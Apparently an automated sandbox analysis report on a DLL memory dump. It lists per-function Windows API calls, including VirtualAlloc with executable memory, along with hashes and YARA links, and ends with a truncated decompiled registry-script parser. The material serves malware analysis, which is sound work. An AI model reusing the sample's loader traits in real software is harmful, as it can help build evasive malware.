GetCurrentProcessorNumber.KERNEL32 ref: 6ED26800
AreFileApisANSI.KERNEL32 ref: 6ED268A0
CoFreeUnusedLibraries.OLE32 ref: 6ED26910
GetForegroundWindow.USER32 ref: 6ED269BC
DestroyCaret.USER32 ref: 6ED269E5
GetClipboardViewer.USER32 ref: 6ED26A19
GetMessageTime.USER32 ref: 6ED26A26
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 6ED26A6D
GetCursor.USER32 ref: 6ED26B55
GetTickCount.KERNEL32 ref: 6ED26D47

Part of subcall function 6ED25F20: IsProcessDPIAware.USER32 ref: 6ED25F6F

Part of subcall function 6ED25BB0: GetTickCount.KERNEL32 ref: 6ED25BCB
Part of subcall function 6ED25BB0: GetMenuCheckMarkDimensions.USER32 ref: 6ED25C12
Part of subcall function 6ED25BB0: CoUninitialize.OLE32(?,6ED26387), ref: 6ED25C5A

GetThreadLocale.KERNEL32 ref: 6ED26EBA
CoUninitialize.OLE32 ref: 6ED26F2A
SwitchToThread.KERNEL32 ref: 6ED26F50
GetCapture.USER32 ref: 6ED27112
GetUserDefaultUILanguage.KERNEL32 ref: 6ED27222
AreFileApisANSI.KERNEL32 ref: 6ED27330
GetUserDefaultLangID.KERNEL32 ref: 6ED27380

Part of subcall function 6ED25BB0: GetSystemDefaultUILanguage.KERNEL32(?,6ED26387), ref: 6ED25CD8

GetKBCodePage.USER32 ref: 6ED27170

Part of subcall function 6ED25BB0: GetForegroundWindow.USER32(?,6ED26387), ref: 6ED25C79
Part of subcall function 6ED25BB0: AnyPopup.USER32 ref: 6ED25CE8

GetClipboardViewer.USER32 ref: 6ED2792A
GetCommandLineW.KERNEL32 ref: 6ED27949
GetClipboardSequenceNumber.USER32 ref: 6ED2796D
IsWow64Message.USER32 ref: 6ED27991
GetUserDefaultLangID.KERNEL32 ref: 6ED27997
UnregisterApplicationRestart.KERNEL32 ref: 6ED279B1
GetACP.KERNEL32 ref: 6ED279C1

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: ClipboardDefaultNumber$ApisFileThreadUserWindow$CountCurrentForegroundFreeLangLanguageLibrariesLocaleMenuMessageProcessProcessorSequenceTickUninitializeUnothrow_t@std@@@UnusedViewer__ehfuncinfo$??2@$AllocApplicationAwareBaseCaptureCaretCheckCodeCommandCreateCursorDestroyDialogDimensionsDrivesErrorFlushFocusLastLineLogicalMarkPagePopupRestartStationSwitchSystemTimeUnitsUnregisterVirtualWow64__aulldiv__aullrem
String ID:
API String ID: 610619165-0
Opcode ID: c6d75febebfe8577d6b9de7488ea884f3875ec164a02496f9909ccb704c52851
Instruction ID: bba756c86e87b216268daff65fead032836843f6138b559adda292ae6f6ed885
Opcode Fuzzy Hash: c6d75febebfe8577d6b9de7488ea884f3875ec164a02496f9909ccb704c52851
Instruction Fuzzy Hash: 7FE2D571D20E19DFDF02DFB5C4516AEB379BF5A388F108726D9267B245EB3094828B60

Uniqueness

Uniqueness Score: -1.00%

Function 6ED25980, Relevance: 1.7, APIs: 1, Instructions: 167COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(6ED20000,000000C9,00000002,00000002,75140DE0,00000000), ref: 6ED259E3

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: FindResource
String ID:
API String ID: 1635176832-0
Opcode ID: b08b1c4e1e2ef66033237db61b0cc0d7dea3a1fea3a03c92e542a7a1fce034b3
Instruction ID: c01523a75e02d8d511531cad2366f60455cf786396f9253f87aca00cb0e2e03f
Opcode Fuzzy Hash: b08b1c4e1e2ef66033237db61b0cc0d7dea3a1fea3a03c92e542a7a1fce034b3
Instruction Fuzzy Hash: 24611431A042AA8BCB18CFACC5855EDFBF1BF49304F1083A9E451DB656D770AB59C790

Uniqueness

Uniqueness Score: -1.00%

Function 6ED34A48, Relevance: 10.6, APIs: 7, Instructions: 136COMMON

Download Yara Rule

APIs

__RTC_Initialize.LIBCMT ref: 6ED34A8F
___scrt_uninitialize_crt.LIBCMT ref: 6ED34AA9

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: a4a68c994964fe598fd37af6a7e4e1a14fab8af1b0e239f5b64651d71cdf2694
Instruction ID: 443e00e26624578630ae66a906fdcc42785d7dd77a2e15ecef9875a20a53650e
Opcode Fuzzy Hash: a4a68c994964fe598fd37af6a7e4e1a14fab8af1b0e239f5b64651d71cdf2694
Instruction Fuzzy Hash: 8841B072D04635EFDB608FD5CC00BAF7BB8EB86759F244519E814A7250D73A89439BA0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED33250, Relevance: 10.6, APIs: 7, Instructions: 131threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6ED227E0: GetTickCount64.KERNEL32 ref: 6ED227EE

GetTickCount64.KERNEL32 ref: 6ED332B2
GetTickCount64.KERNEL32 ref: 6ED332D0
GetTickCount64.KERNEL32 ref: 6ED332E9
GetTickCount64.KERNEL32 ref: 6ED332EB
GetTickCount64.KERNEL32 ref: 6ED332F2
GetTickCount64.KERNEL32 ref: 6ED33310
DisableThreadLibraryCalls.KERNEL32(?,?,?,00000001,?,?,00000001,?,6ED69FC0,0000000C,6ED34C4A,?,00000001,?), ref: 6ED33349

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: Count64Tick$CallsDisableLibraryThread
String ID:
API String ID: 2118593989-0
Opcode ID: 7ea579592a3b4cdc3327e5e23b29db1f09e4b088d1025ae64c1e50fbc7c30a7f
Instruction ID: 9cde42325e67f8b2ad42b260d52c8122fa6c7938af9ffb133de273c2613ec12c
Opcode Fuzzy Hash: 7ea579592a3b4cdc3327e5e23b29db1f09e4b088d1025ae64c1e50fbc7c30a7f
Instruction Fuzzy Hash: 6D51D432D24A14CFEB52DFB8C5407ADB7B4FF46354F20861AD866B7201EB71A4828B61

Uniqueness

Uniqueness Score: -1.00%

Function 6ED34AF8, Relevance: 7.6, APIs: 5, Instructions: 87COMMON

Download Yara Rule

APIs

dllmain_raw.LIBCMT ref: 6ED34B35
dllmain_crt_dispatch.LIBCMT ref: 6ED34B4C
dllmain_raw.LIBCMT ref: 6ED34B94
dllmain_crt_dispatch.LIBCMT ref: 6ED34BA7
dllmain_raw.LIBCMT ref: 6ED34BBA

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: f07772dc584f06fa88206fdc3eb8b45c262fdfed6eaa2f90aa9efbe09a06f6ab
Instruction ID: f4761b7add0c46ba545f3601195a2f1dac692e86639bb2b81ca4eab05736f4d6
Opcode Fuzzy Hash: f07772dc584f06fa88206fdc3eb8b45c262fdfed6eaa2f90aa9efbe09a06f6ab
Instruction Fuzzy Hash: 48216D76D04639EFDB619F95CC40FAF3A7DEB86A94B254415F8249B214C33ACD438BA0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED4C8EF, Relevance: 4.6, APIs: 3, Instructions: 69COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 6ED4C8F8
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6ED4C966

Part of subcall function 6ED4C80B: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,?,00000000,00000000,00000000,?,6ED4E018,?,00000000,00000000), ref: 6ED4C8AD

Part of subcall function 6ED4828C: RtlAllocateHeap.NTDLL(00000000,?,?,?,6ED37EB3,?,?,24448D6E,00000000,?,6ED218D7,?,?,?), ref: 6ED482BE

_free.LIBCMT ref: 6ED4C957

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: EnvironmentStrings$AllocateByteCharFreeHeapMultiWide_free
String ID:
API String ID: 2560199156-0
Opcode ID: 4cca37029fe810c0311462ae06f845c51467ff747f018177d5753561833febbf
Instruction ID: 2f741659ab66851337a10bc3b74b4f1e5f3f548dc1ac35a90cbc923d7200332e
Opcode Fuzzy Hash: 4cca37029fe810c0311462ae06f845c51467ff747f018177d5753561833febbf
Instruction Fuzzy Hash: 8101D8B3601616FBB75107FB5C88CBB295CCFE29A53050128FD18DA144EE10CC0981F0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED34941, Relevance: 3.1, APIs: 2, Instructions: 76COMMON

Download Yara Rule

APIs

__RTC_Initialize.LIBCMT ref: 6ED3498E

Part of subcall function 6ED3508F: InitializeSListHead.KERNEL32(6ED6E898,6ED34998,6ED69F78,00000010,6ED34929,?,?,?,6ED34B51,?,00000001,?,?,00000001,?,6ED69FC0), ref: 6ED35094

___scrt_is_nonwritable_in_current_image.LIBCMT ref: 6ED349F8

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: Initialize$HeadList___scrt_is_nonwritable_in_current_image
String ID:
API String ID: 3231365870-0
Opcode ID: 3174832766902ce97f63ea07f1bdef8e1daaaf4321ac0174afacf068cb47a6ee
Instruction ID: 2a35dc264398431775bd42c561802b32605b6a393984918a71710022eed9d65d
Opcode Fuzzy Hash: 3174832766902ce97f63ea07f1bdef8e1daaaf4321ac0174afacf068cb47a6ee
Instruction Fuzzy Hash: 2121DE32948231DAEF509BF498107DC37A49F1726DF30080AC8916B2C1EB2B8047C676

Uniqueness

Uniqueness Score: -1.00%

Function 6ED36D17, Relevance: 3.0, APIs: 2, Instructions: 35COMMON

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(?,?,6ED35637,6ED3567D), ref: 6ED36D2A
IsProcessorFeaturePresent.KERNEL32(00000017,6ED48A38,?,6ED4D694,00000000,00000000,?,02FB6060,00000000), ref: 6ED47AF5

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: EncodeFeaturePointerPresentProcessor
String ID:
API String ID: 4030241255-0
Opcode ID: dbba579f3503ec0693d2df314853da6d713eb4485ed535c0e85977ba1c62ee2b
Instruction ID: f95558077e256b3044e6054aee2ce7e90e90821c6ecca51ea8124cee5c4f7218
Opcode Fuzzy Hash: dbba579f3503ec0693d2df314853da6d713eb4485ed535c0e85977ba1c62ee2b
Instruction Fuzzy Hash: 90F0B470244B06FAFF916BE0AC16B753BA89B2670CF100418B609590D1DB60C143DD71

Uniqueness

Uniqueness Score: -1.00%

Function 6ED453B5, Relevance: 3.0, APIs: 2, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 6ED4C8EF: GetEnvironmentStringsW.KERNEL32 ref: 6ED4C8F8
Part of subcall function 6ED4C8EF: _free.LIBCMT ref: 6ED4C957
Part of subcall function 6ED4C8EF: FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6ED4C966

_free.LIBCMT ref: 6ED453F5
_free.LIBCMT ref: 6ED453FC

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$EnvironmentStrings$Free
String ID:
API String ID: 2490078468-0
Opcode ID: deffcf41458ecfa7f896e53fafcc319b9d65c3561a30909ef616d320e197ab56
Instruction ID: 3f6c4462d1ecb45d38b0a8e7e59baeda5a486f01e661631c78769edc8c87aeb6
Opcode Fuzzy Hash: deffcf41458ecfa7f896e53fafcc319b9d65c3561a30909ef616d320e197ab56
Instruction Fuzzy Hash: 7AE02B27949950CAF35117FEAC4029A17589FA237CF151F27D824CF1C1EFE0C40609B2

Uniqueness

Uniqueness Score: -1.00%

Function 6ED4578F, Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6ED45842

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: ce1e6fbdf7d54dcb15bbc02ae0441daf78484d86feb538679964ef9f3fe7239b
Instruction ID: 4301072d2d424691e3bca154826663c912976f82fedee5c94f4ec71d7d85a532
Opcode Fuzzy Hash: ce1e6fbdf7d54dcb15bbc02ae0441daf78484d86feb538679964ef9f3fe7239b
Instruction Fuzzy Hash: 92317F76A00A15DF8B04DF99C4C085DB7F1FF9932072586A5D929EB360D730ED06CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6ED55176, Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

Part of subcall function 6ED4B406: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,6ED48B1E,00000001,00000364,FFFFFFFF,000000FF,?,6ED37EB3,?,?,24448D6E,00000000), ref: 6ED4B447

_free.LIBCMT ref: 6ED551E5

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: f86c2b74437c74d48948db836944701d17ffd411f4521a5501fd551f3abf5dc7
Instruction ID: b5e2fe87e46300b8b59ee72dac6c269fee2559e9fdf4debe66866513042fa929
Opcode Fuzzy Hash: f86c2b74437c74d48948db836944701d17ffd411f4521a5501fd551f3abf5dc7
Instruction Fuzzy Hash: 08012672604316ABD321CFD9D880D9DFFACEB05370F00066AE459A77C0E770A92087A4

Uniqueness

Uniqueness Score: -1.00%

Function 6ED3419F, Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 6ED219DE

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: ___std_exception_copy
String ID:
API String ID: 2659868963-0
Opcode ID: c9b53665c471b7219e58703d19ddfdf5d1cb0ffb153a742e9253a6f9ad2a0dba
Instruction ID: c9490744acda7991f71344abccfd0114e773ea781923fdb75064e8004531ab9c
Opcode Fuzzy Hash: c9b53665c471b7219e58703d19ddfdf5d1cb0ffb153a742e9253a6f9ad2a0dba
Instruction Fuzzy Hash: 15014E3180061EBBCB009FD8DC008C9B79CDF12268B208635F654D7690EB32E59583B5

Uniqueness

Uniqueness Score: -1.00%

Function 6ED4B406, Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,6ED48B1E,00000001,00000364,FFFFFFFF,000000FF,?,6ED37EB3,?,?,24448D6E,00000000), ref: 6ED4B447

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 353b0b33f248f2f77e6fda1a966282440a448e6d485d614e252d989e196ea4eb
Instruction ID: f24c33da6d3f44e7bcaa88d3a84ace07f4fffca548ee192eb5e6e747031ad77e
Opcode Fuzzy Hash: 353b0b33f248f2f77e6fda1a966282440a448e6d485d614e252d989e196ea4eb
Instruction Fuzzy Hash: F5F0B43264592EEEEB510FF68805B9E3B98AF7276CB049411E91C9A1C8CB20D54286F0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED4828C, Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,6ED37EB3,?,?,24448D6E,00000000,?,6ED218D7,?,?,?), ref: 6ED482BE

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 191d5b3abf945df5f00f750888f86608b1091b71e9b6ee5d6d11a1221f238992
Instruction ID: 9422ac137334346b8382eb3dedeec253d1a4df78ce87c570c3689d8fb4452383
Opcode Fuzzy Hash: 191d5b3abf945df5f00f750888f86608b1091b71e9b6ee5d6d11a1221f238992
Instruction Fuzzy Hash: 89E0A039141D22EBFA501BE54E40B963B8CAF222F0F000410F811AA180CB60C48145F5

Uniqueness

Uniqueness Score: -1.00%

Function 6ED35B63, Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

std::locale::_Init.LIBCPMT ref: 6ED35B8B

Part of subcall function 6ED35492: std::_Lockit::_Lockit.LIBCPMT ref: 6ED354A4
Part of subcall function 6ED35492: std::locale::_Setgloballocale.LIBCPMT ref: 6ED354BF
Part of subcall function 6ED35492: _Yarn.LIBCPMT ref: 6ED354D5
Part of subcall function 6ED35492: std::_Lockit::~_Lockit.LIBCPMT ref: 6ED35515

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: Lockitstd::_std::locale::_$InitLockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 238635018-0
Opcode ID: 7ba8622f3e2853adbcea37abbb9a6751f7286cb5648791ebf51ea21e66e1891c
Instruction ID: 01b22f8fa3e0beab99c8d4a5f25c24d8d83c27d451ab19723e2689c2110cce66
Opcode Fuzzy Hash: 7ba8622f3e2853adbcea37abbb9a6751f7286cb5648791ebf51ea21e66e1891c
Instruction Fuzzy Hash: 36E02672A11731AFDB505BE8C5113ACA2486F43B26F708809D8105F3C0CFB0882043E1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6ED2E6B0, Relevance: 39.0, APIs: 19, Strings: 3, Instructions: 451
stringmemoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 52%

			E6ED2E6B0(WCHAR** __ecx, WCHAR* _a4, signed int* _a8) {
				signed int _v8;
				signed int _v12;
				char _v16;
				signed int _v20;
				char _v84;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				signed int _v100;
				char _v101;
				char _v102;
				char _v103;
				signed int _v108;
				WCHAR* _v112;
				signed int* _v116;
				intOrPtr _v136;
				signed int _v148;
				short _v8204;
				short _v8208;
				short _v8212;
				signed int _v8344;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t103;
				signed int _t104;
				signed int* _t106;
				void* _t107;
				short _t109;
				signed int _t111;
				signed int _t112;
				signed int _t113;
				WCHAR* _t115;
				signed int _t119;
				signed int _t122;
				WCHAR* _t126;
				signed int _t132;
				short _t137;
				void* _t147;
				void* _t158;
				void* _t159;
				WCHAR* _t160;
				WCHAR* _t163;
				signed int _t165;
				void* _t166;
				void* _t171;
				WCHAR* _t172;
				WCHAR* _t173;
				WCHAR* _t174;
				void* _t176;
				WCHAR** _t178;
				void* _t179;
				WCHAR* _t184;
				void* _t185;
				WCHAR* _t191;
				intOrPtr _t197;
				WCHAR* _t202;
				WCHAR* _t210;
				signed short* _t212;
				signed int _t215;
				signed int _t219;
				signed int _t221;
				WCHAR* _t224;
				short* _t228;
				void* _t230;
				WCHAR* _t232;
				signed int _t233;
				void* _t234;
				WCHAR* _t237;
				void* _t238;
				void* _t239;
				signed int _t240;
				void* _t241;
				void* _t242;
				void* _t243;
				void* _t244;
				signed int _t246;
				void* _t248;
				signed int _t249;

				_push(0xffffffff);
				_push(0x6ed58df5);
				_push( *[fs:0x0]);
				_t249 = _t248 - 0x64;
				_t103 =  *0x6ed6d008; // 0x3f169fae
				_t104 = _t103 ^ _t246;
				_v20 = _t104;
				_push(_t104);
				 *[fs:0x0] =  &_v16;
				_t178 = __ecx;
				_t237 = _a4;
				_t106 = _a8;
				_v116 = _t106;
				if(_t237 == 0 || _t106 == 0) {
					_t107 = 0x80004003;
					goto L69;
				} else {
					_t191 = _t237;
					 *_t106 = 0;
					_t6 =  &(_t191[1]); // 0x2
					_t228 = _t6;
					do {
						_t109 =  *_t191;
						_t191 =  &(_t191[1]);
					} while (_t109 != 0);
					_v92 = 0;
					asm("xorps xmm0, xmm0");
					asm("movq [ebp-0x60], xmm0");
					_v100 = 0;
					_t111 =  <  ? 0x3e8 : (_t191 - _t228 >> 1) + (_t191 - _t228 >> 1);
					_v96 = _t111;
					_t227 = _t111 * 2 >> 0x20;
					_t112 = _t111 * 2;
					if(_t111 * 2 >> 0x20 != 0 || _t112 > 0xffffffff) {
						_t112 = 0;
						_v92 = 0;
					} else {
						__imp__CoTaskMemAlloc(_t112);
						_v92 = _t112;
						if(_t112 != 0) {
							 *_t112 = 0;
						}
					}
					_v8 = 0;
					if(_t112 != 0) {
						_t113 = 0;
						 *_t178 = _t237;
						_t197 = 0;
						_v103 = 0;
						_v108 = 0;
						_v102 = 0;
						_v101 = 0;
						if( *_t237 == 0) {
							L67:
							_v92 = 0;
							 *_v116 = _v92;
							__imp__CoTaskMemFree(_v92);
							_t107 = 0;
							goto L69;
						} else {
							while(1) {
								_v112 = _t113;
								if(_t197 != 1) {
									goto L35;
								}
								if(_t113 != 0) {
									L20:
									_t163 =  *_t178;
									if(0x27 !=  *_t163) {
										if(_t197 != 0) {
											goto L35;
										} else {
											goto L28;
										}
									} else {
										if(_t197 != 0) {
											if(0x27 ==  *(CharNextW(_t163))) {
												 *_t178 = CharNextW( *_t178);
												if(E6ED2D9E0(_t178,  &_v100, _t168, 1) == 0) {
													goto L10;
												} else {
													goto L35;
												}
											} else {
												_v101 = 0;
												L28:
												_t165 =  *( *_t178) & 0x0000ffff;
												if(_t165 != 0x7b) {
													_t221 = _v112;
													_v108 = _t221;
													if(_t165 != 0x7d) {
														goto L35;
													} else {
														_t227 = _t221 - 1;
														_v108 = _t227;
														if(_t227 != 0 || _v102 != 1) {
															goto L35;
														} else {
															_v88 = _t227;
															_v8 = 2;
															_t166 = E6ED2D9E0(_t178,  &_v100, L"\r\n\t}\r\n}\r\n", 9);
															_v8 = 0;
															if(_t166 == 0) {
																goto L10;
															} else {
																_v102 = 0;
																goto L35;
															}
														}
													}
												} else {
													_v108 = _v108 + 1;
													goto L35;
												}
											}
										} else {
											_v101 = 1;
											goto L35;
										}
									}
								} else {
									_push(L"HKCR");
									_push(_t237);
									_t171 = E6ED37F2D(_t197);
									_t249 = _t249 + 8;
									if(_t171 == 0) {
										L19:
										_t197 = _v101;
										goto L20;
									} else {
										_t224 =  *_t178;
										if(_t171 != _t224) {
											goto L19;
										} else {
											_t172 = CharNextW(_t224);
											 *_t178 = _t172;
											_t173 = CharNextW(_t172);
											 *_t178 = _t173;
											_t174 = CharNextW(_t173);
											 *_t178 = _t174;
											 *_t178 = CharNextW(_t174);
											_v88 = 0;
											_v8 = 1;
											_t176 = E6ED2D9E0(_t178,  &_v100, L"HKCU\r\n{\tSoftware\r\n\t{\r\n\t\tClasses", 0x1f);
											_v8 = 0;
											if(_t176 == 0) {
												goto L10;
											} else {
												_v102 = 1;
												goto L19;
											}
										}
									}
								}
								goto L94;
								L35:
								_t115 =  *_t178;
								if( *_t115 != 0x25) {
									if(E6ED2D9E0(_t178,  &_v100, _t115, 1) == 0) {
										goto L10;
									} else {
										goto L39;
									}
								} else {
									_t232 = CharNextW(_t115);
									 *_t178 = _t232;
									_t119 =  *_t232 & 0x0000ffff;
									if(_t119 != 0x25) {
										if(_t232 == 0 || _t119 == 0) {
											L46:
											__imp__CoTaskMemFree(_v92);
											_t107 = 0x80020009;
											goto L69;
										} else {
											_t239 = CharNextW;
											while(_t119 != 0x25) {
												_t232 = CharNextW(_t232);
												_t219 =  *_t232 & 0x0000ffff;
												_t119 = _t219;
												if(_t219 != 0) {
													continue;
												} else {
													goto L46;
												}
												goto L94;
											}
											if(_t232 == 0) {
												goto L46;
											} else {
												_t201 =  *_t178;
												_t122 = _t232 -  *_t178 >> 1;
												if(_t122 > 0x1f) {
													__imp__CoTaskMemFree(_v92);
													_t107 = 0x80004005;
													goto L69;
												} else {
													_push(_t122);
													E6ED2D2A0(_t178, _t239, E6ED44A0D( &_v84, 0x20, _t201));
													_t126 = _t178[1];
													_t240 = 0;
													_t249 = _t249 + 0x14;
													_v112 = _t126;
													if(_t126[6] <= 0) {
														goto L46;
													} else {
														while(1) {
															_t202 =  &_v84;
															if(lstrcmpiW( *(_t126[2] + _t240 * 4), _t202) == 0) {
																break;
															}
															_t126 = _v112;
															_t240 = _t240 + 1;
															if(_t240 < _t126[6]) {
																continue;
															} else {
																goto L46;
															}
															goto L94;
														}
														if(_t240 == 0xffffffff) {
															goto L46;
														} else {
															if(_t240 < 0) {
																L70:
